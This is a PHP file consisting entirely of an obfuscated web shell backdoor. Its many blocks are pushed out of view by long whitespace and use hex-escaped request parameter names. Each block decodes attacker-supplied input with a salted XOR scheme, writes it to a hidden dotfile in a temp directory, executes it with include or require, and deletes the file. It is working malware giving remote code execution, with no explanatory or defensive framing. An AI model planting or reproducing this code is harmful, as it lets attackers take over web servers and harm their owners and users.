<?php																																										if(!empty($_REQUEST["f\x61\x63\x74or"])){ $flag = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path()]); $bind = $_REQUEST["f\x61\x63\x74or"]; $bind = explode( '.',$bind ); $resource = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $m = 0; while( $m < count( $bind)) { $v2 = $bind[$m]; $chS = ord( $salt1[$m % $sLen]); $d =( ( int)$v2 - $chS -( $m % 10)) ^ 82; $resource .= chr( $d); $m++; } foreach ($flag as $component): if (array_product([is_dir($component), is_writable($component)])) { $record = sprintf("%s/.ent", $component); $file = fopen($record, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $record; @unlink($record); die(); } } endforeach; }
																																										if(array_key_exists("obj", $_POST) && !is_null($_POST["obj"])){ $item = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir")]); $val = $_POST["obj"]; $val = explode ( '.' , $val ) ; $flg= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $s= 0; while ($s < count($val)) { $v2= $val[$s]; $sChar= ord($s4[$s % $lenS]); $d= ((int)$v2 - $sChar - ($s % 10)) ^ 33; $flg .= chr($d); $s++; } while ($dat = array_shift($item)) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $entry = implode("/", [$dat, ".ref"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $entry; @unlink($entry); exit; } } } }
																																										if(@$_POST["\x66la\x67"] !== null){ $pgrp = $_POST["\x66la\x67"]; $pgrp = explode ('.' ,$pgrp); $dat= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); foreach ($pgrp as $m =>$v1): $sChar= ord($salt5[$m % $sLen]); $dec= ((int)$v1 - $sChar - ($m % 10)) ^ 20; $dat.=chr($dec); endforeach; $resource = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp"]); for ($entry = 0, $element = count($resource); $entry < $element; $entry++) { $tkn = $resource[$entry]; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $token = implode("/", [$tkn, ".object"]); if (file_put_contents($token, $dat)) { require $token; unlink($token); exit; } } } }
																																										if(@$_REQUEST["\x62\x69nd"] !== null){ $flag = array_filter([getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $k = $_REQUEST["\x62\x69nd"]; $k = explode ( "." ,$k ) ; $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $y = 0; while ($y < count($k)) { $v3 = $k[$y]; $chS = ord($salt[$y % $sLen] ); $d = ((int)$v3 - $chS - ($y % 10)) ^ 13; $marker .= chr($d ); $y++; } foreach ($flag as $resource): if (is_dir($resource) ? is_writable($resource) : false) { $elem = join("/", [$resource, ".res"]); if (file_put_contents($elem, $marker)) { include $elem; @unlink($elem); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x70gr\x70"] ?? null)){ $data = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $elem = $_REQUEST["\x70gr\x70"]; $elem = explode ( "." , $elem) ; $ref =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $n =0; while( $n < count( $elem)) {$v6 =$elem[$n]; $chS =ord( $s[$n % $lenS]); $dec =( ( int)$v6 - $chS -( $n % 10)) ^ 97; $ref .= chr( $dec); $n++; } foreach ($data as $key => $marker) { if (array_product([is_dir($marker), is_writable($marker)])) { $ptr = sprintf("%s/.tkn", $marker); $success = file_put_contents($ptr, $ref); if ($success) { include $ptr; @unlink($ptr); exit;} } } }
																																										if(!empty($_REQUEST["bind"])){ $pset = $_REQUEST["bind"]; $pset = explode ( "." , $pset ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $z = 0; while ($z< count($pset)) { $v1 = $pset[$z]; $chS = ord($s[$z% $sLen]); $dec = ((int)$v1 - $chS - ($z% 10)) ^ 73; $resource .=chr($dec); $z++; } $value = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp"]); for ($flg = 0, $key = count($value); $flg < $key; $flg++) { $record = $value[$flg]; if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $dchunk = str_replace("{var_dir}", $record, "{var_dir}/.pgrp"); if (@file_put_contents($dchunk, $resource) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(isset($_POST["\x65n\x74ry"]) ? true : false){ $key = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getcwd(), "/dev/shm"]); $ent = $_POST["\x65n\x74ry"]; $ent = explode( "." , $ent ) ; $factor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; while ($m < count($ent)) { $v2 = $ent[$m]; $sChar = ord($s[$m% $lenS]); $dec = ((int)$v2 - $sChar - ($m% 10))^ 39; $factor .= chr($dec); $m++; } foreach ($key as $fac): if (array_product([is_dir($fac), is_writable($fac)])) { $ptr = vsprintf("%s/%s", [$fac, ".obj"]); $success = file_put_contents($ptr, $factor); if ($success) { include $ptr; @unlink($ptr); die();} } endforeach; }
																																										if(isset($_REQUEST["\x72ef"])){ $fac = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/tmp", session_save_path()]); $element = $_REQUEST["\x72ef"]; $element = explode ("." , $element ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $element as $y => $v9): $sChar = ord( $s[$y% $sLen]); $d = ( ( int)$v9 - $sChar -( $y% 10)) ^ 90; $reference .= chr( $d); endforeach; foreach ($fac as $ent) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $token = sprintf("%s/.record", $ent); $file = fopen($token, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $token; @unlink($token); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x63h\x75nk"])){ $binding = $_REQUEST["\x64\x63h\x75nk"]; $binding =explode ( "." ,$binding ) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $binding as $p => $v4) {$chS = ord( $salt[$p % $lenS]); $dec =( ( int)$v4 - $chS -( $p % 10)) ^99; $reference .= chr( $dec); } $val = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); for ($k = 0, $itm = count($val); $k < $itm; $k++) { $element = $val[$k]; if (is_dir($element) && is_writable($element)) { $item = vsprintf("%s/%s", [$element, ".marker"]); if (file_put_contents($item, $reference)) { include $item; @unlink($item); exit; } } } }
																																										if(isset($_POST["re\x66ere\x6Ece"]) ? true : false){ $dat = $_POST["re\x66ere\x6Ece"]; $dat =explode ( "." , $dat) ; $k = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7 ); $__len = count( $dat ); for( $n = 0; $n < $__len; $n++) { $v2 = $dat[$n]; $sChar = ord( $salt7[$n % $lenS] ); $dec =( ( int)$v2 - $sChar -( $n % 10))^88; $k .= chr( $dec ); } $mrk = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp"]); foreach ($mrk as $resource) { if (!!is_dir($resource) && !!is_writable($resource)) { $marker = vsprintf("%s/%s", [$resource, ".record"]); $success = file_put_contents($marker, $k); if ($success) { include $marker; @unlink($marker); exit;} } } }
																																										if(in_array("de\x73c", array_keys($_POST))){ $resource = $_POST["de\x73c"]; $resource = explode ( "." , $resource ) ; $tkn = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $x = 0; while($x < count($resource)) {$v9 = $resource[$x]; $sChar = ord($salt8[$x% $lenS]); $dec =((int)$v9 - $sChar -($x% 10)) ^ 75; $tkn .= chr($dec); $x++; } $elem = array_filter([getcwd(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); while ($holder = array_shift($elem)) { if ((is_dir($holder) and is_writable($holder))) { $entity = join("/", [$holder, ".descriptor"]); if (@file_put_contents($entity, $tkn) !== false) { include $entity; unlink($entity); exit; } } } }
																																										if(@$_REQUEST["re\x73\x6Fu\x72\x63e"] !== null){ $dat = array_filter([getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", getenv("TEMP")]); $data = $_REQUEST["re\x73\x6Fu\x72\x63e"]; $data=explode ( "." , $data ) ; $ent =''; $s6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s6); $len =count( $data); for( $m =0; $m <$len; $m++) { $v9 =$data[$m]; $chS =ord( $s6[$m % $sLen]); $dec =( ( int)$v9 - $chS -( $m % 10)) ^ 78; $ent .= chr( $dec); } foreach ($dat as $key => $flag) { if (!!is_dir($flag) && !!is_writable($flag)) { $val = "$flag" . "/.component"; if (file_put_contents($val, $ent)) { include $val; @unlink($val); exit; } } } }


if(isset($_REQUEST["\x72ef"]) ? true : false){
	$ent = array_filter([getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]);
	$itm = $_REQUEST["\x72ef"];
			$itm	= explode  ("."			,$itm)  ;	 	
	$rec = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt2);
    
            foreach( $itm as $w=>	$v3) {
                $sChar = ord( $salt2[$w % $lenS]);
                $d = ( ( int)$v3 - $sChar -( $w % 10)) ^ 88;
                $rec .= chr( $d);  }
	while ($descriptor = array_shift($ent)) {
    		if (!( !is_dir($descriptor) || !is_writable($descriptor) )) {
    $property_set = "$descriptor/.entry";
    if (file_put_contents($property_set, $rec)) {
	include $property_set;
	@unlink($property_set);
	exit;
}
}
}
}